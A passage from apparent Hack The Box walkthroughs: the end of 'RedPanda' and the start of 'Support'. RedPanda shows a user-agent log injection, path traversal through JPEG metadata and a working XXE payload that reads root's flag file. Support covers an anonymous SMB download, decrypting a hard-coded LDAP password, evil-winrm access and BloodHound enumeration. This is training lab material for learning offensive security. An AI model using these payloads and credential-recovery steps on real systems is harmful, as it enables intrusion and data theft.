                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
                panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}
```

This file contains credentials: `woodenk:RedPandazRule`. We can use these credentials to connect over SSH by running `ssh woodenk@10.10.11.170` and entering the password. Now, just run `cat ~/user.txt` to get the `user.txt` flag.

## Privilege Escalation

We reconnect using [pwncat](https://github.com/calebstewart/pwncat) to make file uploads easier: `pwncat-cs woodenk@10.10.11.170`. We upload [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) by running `upload linpeas.sh` in the local shell. Run LinPEAS with `./linpeas.sh -a 2>&1 | tee linpeas_report.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/RedPanda/linpeas_report.txt) with `less -R linpeas_report.txt`.

LinPEAS says the box is vulnerable to `CVE-2021-3560`, but using [secnigma/CVE-2021-3560-Polkit-Privilege-Esclation](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation) to try to exploit it doesn't work. LinPEAS also finds an interanally running MySQL database at `127.0.0.1:3306`. This is probably the database for the "Red Panda Search" website, so it is unlikely to have anything useful and we will only look at it if necessary.

We upload [pspy](https://github.com/DominicBreuker/pspy) to monitor processes as an non-privileged user and see this:

```
2022/08/01 04:05:01 CMD: UID=0    PID=66397  | sudo -u woodenk /opt/cleanup.sh
2022/08/01 04:05:01 CMD: UID=1000 PID=66400  |
2022/08/01 04:05:01 CMD: UID=1000 PID=66399  | /usr/bin/find /tmp -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66398  | /bin/bash /opt/cleanup.sh
2022/08/01 04:05:01 CMD: UID=1000 PID=66401  | /usr/bin/find /var/tmp -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66402  | /usr/bin/find /dev/shm -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66403  | /usr/bin/find /home/woodenk -name *.xml -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66406  | /usr/bin/find /tmp -name *.jpg -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66408  |
2022/08/01 04:05:01 CMD: UID=1000 PID=66409  | /usr/bin/find /dev/shm -name *.jpg -exec rm -rf {} ;
2022/08/01 04:05:01 CMD: UID=1000 PID=66410  | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ;
```

Let's view the cleanup script by running `cat /opt/cleanup.sh`:

```
#!/bin/bash
/usr/bin/find /tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.xml" -exec rm -rf {} \;
/usr/bin/find /tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /var/tmp -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /dev/shm -name "*.jpg" -exec rm -rf {} \;
/usr/bin/find /home/woodenk -name "*.jpg" -exec rm -rf {} \;
```

Looks like it removes JPG images and XML files from a variety of places, including `woodenk`'s home directory. This is strange. Why would these files would need to be deleted?

Pspy also shows a `LogParser` program that is ran frequently **as root**:

```
2022/08/01 17:18:01 CMD: UID=0    PID=2382   | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
2022/08/01 17:18:01 CMD: UID=0    PID=2381   | /bin/sh /root/run_credits.sh
2022/08/01 17:18:01 CMD: UID=0    PID=2380   | /bin/sh -c /root/run_credits.sh
2022/08/01 17:18:01 CMD: UID=0    PID=2379   | /usr/sbin/CRON -f
```

Looking in `/opt` (directory above the "Red Panda Search" application), we find `/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java`:

```java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);


        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);

        Document doc = saxBuilder.build(fd);

        Element rootElement = doc.getRootElement();

        for(Element el: rootElement.getChildren())
        {


            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}
```

Looks like `LogParser` reads the "Red Panda Search" log file located at `/opt/panda_search/redpanda.log` and will update the number of views each image and author has.

The `/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/RequestInterceptor.java` file shows how this log file is generated:

```java
package com.panda_search.htb.panda_search;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletResponse;

import java.io.BufferedWriter;
import java.io.FileWriter;

import javax.servlet.http.HttpServletRequest;

import org.apache.catalina.User;
import org.springframework.web.servlet.ModelAndView;

public class RequestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
        return true;
    }

    @Override
    public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
        String UserAgent = request.getHeader("User-Agent");
        String remoteAddr = request.getRemoteAddr();
        String requestUri = request.getRequestURI();
        Integer responseCode = response.getStatus();
        /*System.out.println("User agent: " + UserAgent);
        System.out.println("IP: " + remoteAddr);
        System.out.println("Uri: " + requestUri);
        System.out.println("Response code: " + responseCode.toString());*/
        System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
        BufferedWriter bw = new BufferedWriter(fw);
        bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
        bw.close();
    }
}
```

It simply logs all the requests to the application and splits each componenet with a double pipe (`||`). So `LogParser` will do the following:

1. Read the log file line by line
2. Check if the line pertains to an image
3. Read the "Artist" metadata field from the image specified by the request URI
4. Use that "Artist" field to load the XML file at `"/credits/" + artist + "_creds.xml"`
5. And then finally update the views for that image and the artist's total views in their XML file.

We can abuse this because we can control which XML file is read due to a bug in how the log is generated and how `parseLog` works. One line in the log file looks like this: `200||10.10.14.98||python-requests/2.25.1||/search`. Each component is joined with a `||`. The `LogParser` program then reads the file and determines the URI of the request by spliiting the line on `||`. We control our user agent, which is logged as the 3rd item in each row. If we add the symbol `||` to our user agent then anything after that symbol will be read as the URI, while the actual URI will be ignored. This is because the `parseLog` function always takes the 4th item in the line as the URI. So, with a modified user agent, a line in the log file could look like this: `200||10.10.14.98||python-requests/2.25.1||/our-custom-uri||/search`.

Going through `LogParser`'s `main` function, we now control `parsed_data.get("uri")`, which means we control the input to `getArtist`, so let's examine that function. This function read the JPEG "Artist" field from the metadata of the image at `"/opt/panda_search/src/main/resources/static" + uri`, but we control `uri` so we could redirect it to any image using relative paths with anything in the "Artist" field.

Now, we contol `artist` in the `LogParser`'s `main` function. Thus, we control `xmlPath` using relative paths since it is set to `"/credits/" + artist + "_creds.xml"`. The `addViewTo` function is called on our XML file and (as long as we have the correct format) the file has certain view counters incremented.

We can make the application parse and overwrite an XML file we specify, which means we can use a XML External Entity (XXE) attack, which "is a type of attack against an application that parses XML input according to [HackTricks](https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity). [This article](https://portswigger.net/web-security/xxe/xml-entities) gives a great introduction and [this article](https://portswigger.net/web-security/xxe) explains how the XXE injection works.

According to [PortSwigger](https://portswigger.net/web-security/xxe): "Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application. XML external entities are a type of custom XML entity whose defined values are loaded from outside of the DTD in which they are declared. External entities are particularly interesting from a security perspective because they allow an entity to be defined based on the contents of a file path or URL."

That aricle also provides this example payload to read `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Let's use this but make sure it conforms to the format needed by the application:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///root/root.txt"> ]>
<root>
  <image>
    <uri>/../../../../../../../tmp/random.jpg</uri>
    <root_flag>&xxe;</root_flag>
    <views>0</views>
  </image>
  <totalviews>0</totalviews>
</root>
```

Let's save this to `/tmp/exploit_creds.xml`. The name matters since part of it is hardcoded in `LogParser`'s `main` function.

We need a root element (`root`) and then an `image` element with the `uri` and `views` properties. We also need `totalviews` so the application can increment that. The `uri` needs to be set to the same path as our image due to the `el.getChild("uri").getText().equals(uri)` check in the `addViewTo` function.

Let's generate the image with the modified "Artist" metadata field. Generate a random JPEG with `mx=256;my=256;head -c "$((3*mx*my))" /dev/urandom | convert -depth 8 -size "${mx}x${my}" RGB:- random.jpg` (command from [this StackExchange answer](https://unix.stackexchange.com/a/289670)). Then, use `exiftool` to set the "Artist" field to the path to our XML file: `exiftool -Artist='../tmp/exploit' random.jpg`. We go back one directory to exit `/credits` and then only specify the first part of the name because `_creds.xml` is added in the code.

Now, upload the image using pwncat or using an HTTP server and place it in `/tmp`. Finally, execute `curl -H "User-Agent: a||/../../../../../../../tmp/random.jpg" http://10.10.11.170:8080/` to put our injected URI in the log file. Then, wait a few minutes for the auomated `LogParser` script to run. IT will see our request, load the `random.jpg` image from `/tmp`, read it's "Artist" metadata field, load the XML file at `/tmp/exploit_creds.xml`, and rewrite the XML file with the root flag thanks to our XXE injection.

Right after sending the request with the modified user agent, we look at `/opt/panda_search/redpanda.log` and see our modified line: `200||10.10.14.98||a||/../../../../../../../tmp/random.jpg||/`.

After a few seconds our `/tmp/exploit_creds.xml` file is replaced with this:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<root>
  <image>
    <uri>/../../../../../../../tmp/random.jpg</uri>
    <root_flag>6e...75</root_flag>
    <views>1</views>
  </image>
  <totalviews>1</totalviews>
</root>
```

We got the `root.txt` flag. We could now get `/root/.ssh/id_rsa` or abuse a different XXE injection to get a shell.


# Support

## Summary

We scan the machine using `nmap` and find that SMB and LDAP are running. We are able to list SMB shares and download all the files from the `support-tools` share without providing credentials. One of the files downloaded is a ZIP file containing a .Net executable called `UserInfo.exe`. We decompile the program with [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy) (which is a port of [ILSpy](https://github.com/icsharpcode/ILSpy) to Linux/MacOS) and find an encrypted password. The encryption is basic and the decryption logic is already present in the code, so the password is easy to decrypt. We continue looking at the code and find an LDAP connection is made through a user called `ldap` and the decrypted password.

Using [ldapsearch](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#manual-1), we dump the LDAP user data and find the password for the `support` user in its `info` field. We connect using [evil-winrm](https://github.com/Hackplayers/evil-winrm) and get the `user.txt` flag.

Now that we have a shell, we scan the machine using [SharpHound](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html) and [BloodHound](https://github.com/BloodHoundAD/BloodHound). We figure out that the `SHARED SUPPORT ACCOUNTS@SUPPORT.HTB` group has the `GenericAll` permission on `DC.SUPPORT.HTB` and our user, `support` is part of that group.

Searching for ways to exploit the `GenericAll` permission finds [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution). Following the guide, we 1) create a fake computer object (no admin required) and 2) update the target computer object to enable the fake computer to impersonate and authenticate any domain user that can then access the target system. The second step is possible because we have the `WRITE` privilege (from `GenericAll`) on the target machine. Instead of following the guide to create the ticket (it uses a Window-only tool), we use [impacket](https://github.com/SecureAuthCorp/impacket)'s [getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py). This gives us a Kerberos ticket with the ability to impersonate the `Administrator` user. Finally, we use [wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py) with the ticket to get an interactive shell on the box as `Administrator` and get the `root.txt` flag.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.227.255 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -Pn -p$ports -sC -sV 10.129.227.255`. We need to use `-Pn` with this box since it is blocking `nmap`'s ping probes.

```
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-01 22:42:32Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
55397/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2022-08-01T22:43:23
|_  start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
```

### SMB (Ports `139` & `445`)

Ports `139` and `445` are open so it looks like SMB is running.

We can try listing the shares (`-L`) without specifying a password (`-N`).

```
$ smbclient -N -L \\\\10.129.227.255\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.227.255 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

`support-tools` is interesting. Let's try to view the files from that share using an interactive shell:

```
$ smbclient -N \\\\10.129.227.255\\support-tools
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 883139 blocks available
```

It's a directory of different programs. We can download all these files to the current directory by running the following commands from [this HackTricks page](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb#download-files):

```
smb: \> mask ""
smb: \> recurse
smb: \> prompt
smb: \> mget *
getting file \7-ZipPortable_21.07.paf.exe of size 2880728 as 7-ZipPortable_21.07.paf.exe (3565.5 KiloBytes/sec) (average 3565.5 KiloBytes/sec)
getting file \npp.8.4.1.portable.x64.zip of size 5439245 as npp.8.4.1.portable.x64.zip (4408.1 KiloBytes/sec) (average 4074.7 KiloBytes/sec)
getting file \putty.exe of size 1273576 as putty.exe (2477.5 KiloBytes/sec) (average 3753.5 KiloBytes/sec)
getting file \SysinternalsSuite.zip of size 48102161 as SysinternalsSuite.zip (2816.2 KiloBytes/sec) (average 2938.2 KiloBytes/sec)
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (909.4 KiloBytes/sec) (average 2907.2 KiloBytes/sec)
getting file \windirstat1_1_2_setup.exe of size 79171 as windirstat1_1_2_setup.exe (613.6 KiloBytes/sec) (average 2892.4 KiloBytes/sec)
getting file \WiresharkPortable64_3.6.5.paf.exe of size 44398000 as WiresharkPortable64_3.6.5.paf.exe (2326.0 KiloBytes/sec) (average 2616.3 KiloBytes/sec)
```

Alternatively, you can download one file by running `get UserInfo.exe.zip`.

### Decompiling `UserInfo.exe`

Everything except [UserInfo.exe.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/UserInfo.exe.zip) looks like a normal program. When unzipping [UserInfo.exe.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/UserInfo.exe.zip) we see the following files:

```
-rw-r--r-- 1 kali kali  99840 Mar  1 13:18 CommandLineParser.dll
-rw-r--r-- 1 kali kali  22144 Oct 22  2021 Microsoft.Bcl.AsyncInterfaces.dll
-rw-r--r-- 1 kali kali  47216 Oct 22  2021 Microsoft.Extensions.DependencyInjection.Abstractions.dll
-rw-r--r-- 1 kali kali  84608 Oct 22  2021 Microsoft.Extensions.DependencyInjection.dll
-rw-r--r-- 1 kali kali  64112 Oct 22  2021 Microsoft.Extensions.Logging.Abstractions.dll
-rw-r--r-- 1 kali kali  20856 Feb 19  2020 System.Buffers.dll
-rw-r--r-- 1 kali kali 141184 Feb 19  2020 System.Memory.dll
-rw-r--r-- 1 kali kali 115856 May 15  2018 System.Numerics.Vectors.dll
-rw-r--r-- 1 kali kali  18024 Oct 22  2021 System.Runtime.CompilerServices.Unsafe.dll
-rw-r--r-- 1 kali kali  25984 Feb 19  2020 System.Threading.Tasks.Extensions.dll
-rwxr-xr-x 1 kali kali  12288 May 27 13:51 UserInfo.exe
-rw-r--r-- 1 kali kali    563 May 27 12:59 UserInfo.exe.config
```

Running `file UserInfo.exe` tells us that this is a `PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows`. I am familiar with reversing using [Ghidra](https://ghidra-sre.org/), but it is not the right tool to reverse .Net binaries. Searching for ".net debugger" finds [dnSpy](https://github.com/dnSpy/dnSpy), but the repository is archived and hasn't been updated for about 2 years. I also find [ILSpy](https://github.com/icsharpcode/ILSpy) which seems to be more regularly updated. [This article from ndepend](https://blog.ndepend.com/in-the-jungle-of-net-decompilers/) compares the available decompilers. I'm going to use ILSpy since the article calls it "the de-facto .NET Decompiler." ILSpy only supports Windows, but it has been ported to Linux in the form of [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy). Download the latest release from [the releases page](https://github.com/icsharpcode/AvaloniaILSpy/releases) and run it with `./ILSpy`.

We open the `UserInfo.exe` binary in ILSpy and quite quickly we find the `UserInfo.Services.Protected` class, which contains and encrypted password and a method to decrypt it already written for us:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-1aca4acfa76b0d6b6a4da8db7dd8a071daa7cb37%2FScreenshot-20220801191556-2602x1368.png?alt=media)

`UserInfo.Services.Protected` class (in text form):

```c#
using System;
using System.Text;

internal class Protected
{
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++)
        {
            array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
        }
        return Encoding.Default.GetString(array2);
    }
}
```

Let's quickly write this in Python (since that is faster than getting C# code running):

```python
import base64
enc_password = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
ken_len = len(key)

password_list = base64.b64decode(enc_password)
password = [chr(pass_char ^ key[idx % ken_len] ^ 223) for idx, pass_char in enumerate(password_list)]

print("".join(password))
```

This prints out `nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz`.

Additionally, in ILSpy, we see a class called `UserInfo.Services.LdapQuery`.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-175dfbc923afa2fb4c676a70fded7dceb932499f%2FScreenshot-20220801194155-2600x1372.png?alt=media)

After looking at it, we see that the constructor contains a username (`ldap`) and uses the decoded password to connect to LDAP on the machine.

```c#
public LdapQuery()
{
    //IL_0018: Unknown result type (might be due to invalid IL or missing references)
    //IL_0022: Expected O, but got Unknown
    //IL_0035: Unknown result type (might be due to invalid IL or missing references)
    //IL_003f: Expected O, but got Unknown
    string password = Protected.getPassword();
    entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
    entry.set_AuthenticationType((AuthenticationTypes)1);
    ds = new DirectorySearcher(entry);
}
```

### LDAP

From the `nmap` scan and the `UserInfo.exe`, we see that LDAP is present. LDAP runs on ports 389, 636, 3268, and 3269. According to [Wikipedia](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol), "The Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network."

According to [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#manual-1), we can make sure our credentials work by trying to extract everything from the LDAP server by running `ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"`. Here are what the options in this command mean:

```
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```

For our situation, this command is `ldapsearch -x -H ldap://10.129.227.255 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"`. This outputs 5824 lines of output. So, we captured it all into [ldap\_dump.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/ldap_dump.txt).

We can get only information about users by adding `CN=Users` to the command like so (command from [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#manual-1)): `ldapsearch -x -H ldap://10.129.227.255 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb"`. Tip: Pipe the output of that command to `xclip -selection clipboard` to copy it to your clipboard automatically. Output is located at [ldap\_users.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/ldap_users.txt). After looking through this file, we see the `support` user has the `info` field set to `Ironside47pleasure40Watchful`, which is weird.

## Foothold

The piece of information we found is the `support` user's password. [WinRM](https://book.hacktricks.xyz/network-services-pentesting/5985-5986-pentesting-winrm) runs on port `5985`, which is open. We can connect using [evil-winrm](https://github.com/Hackplayers/evil-winrm) by running `evil-winrm -u support -p Ironside47pleasure40Watchful -i 10.129.227.255`, which works.

Now, just run `cat C:\Users\support\Desktop\user.txt` to get the `user.txt` flag.

## Privilege Escalation

Let's scan the machine using [BloodHound](https://github.com/BloodHoundAD/BloodHound): "BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify."

BloodHound only analyzes data though. We need to use [SharpHound](https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound.html) ([download](https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors)) to collect data. There are other data collectors but SharpHound is the only officially support collector.

Upload SharpHound.exe and run it:

```
*Evil-WinRM* PS C:\Users\support\Documents> .\SharpHound.exe
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Initializing SharpHound at 4:59 PM on 8/1/2022
2022-08-01T16:59:38.1702551-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:38.3421370-07:00|INFORMATION|Beginning LDAP search for support.htb
2022-08-01T16:59:38.4046350-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-08-01T16:59:38.4046350-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-08-01T17:00:08.4455283-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2022-08-01T17:00:20.7485323-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2022-08-01T17:00:20.7797405-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Status: 109 objects finished (+109 2.595238)/s -- Using 42 MB RAM
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Enumeration finished in 00:00:42.5649012
2022-08-01T17:00:21.0141259-07:00|INFORMATION|SharpHound Enumeration Completed at 5:00 PM on 8/1/2022! Happy Graphing!
```

To get BloodHound setup, you can [follow this guide](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux). Then, just download the zip file ([20220801170020\_BloodHound.zip](https://github.com/HHousen/hack-the-box/blob/master/Machines/Support/20220801170020_BloodHound.zip)) from the machine and drag and drop it onto the BloodHound interface. Then, on the Analysis tab, choose "Shortest Paths to High Value Targets":

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-9f7ed1094e795bad26ce3817405218ef1fd8e5b8%2Fshortest_paths_to_high_value_targets.png?alt=media)

Right click the `DC.SUPPORT.HTB` machine and choose "Shortest Paths to Here":

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-1ac2a1d1223badd5893e6d41736764ba4304eb58%2Fshortest_paths_to_dc.png?alt=media)

The `SHARED SUPPORT ACCOUNTS@SUPPORT.HTB` group has the `GenericAll` permission on `DC.SUPPORT.HTB`. If we right click that group, we will see that the `support` user we have access to is a member of the group. So, we have the `GenericAll` permission.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-04bf23544a4d45de7b5f1da9f60dcf8567f7970a%2Fshortest_paths_to_shared-support-accounts.png?alt=media)

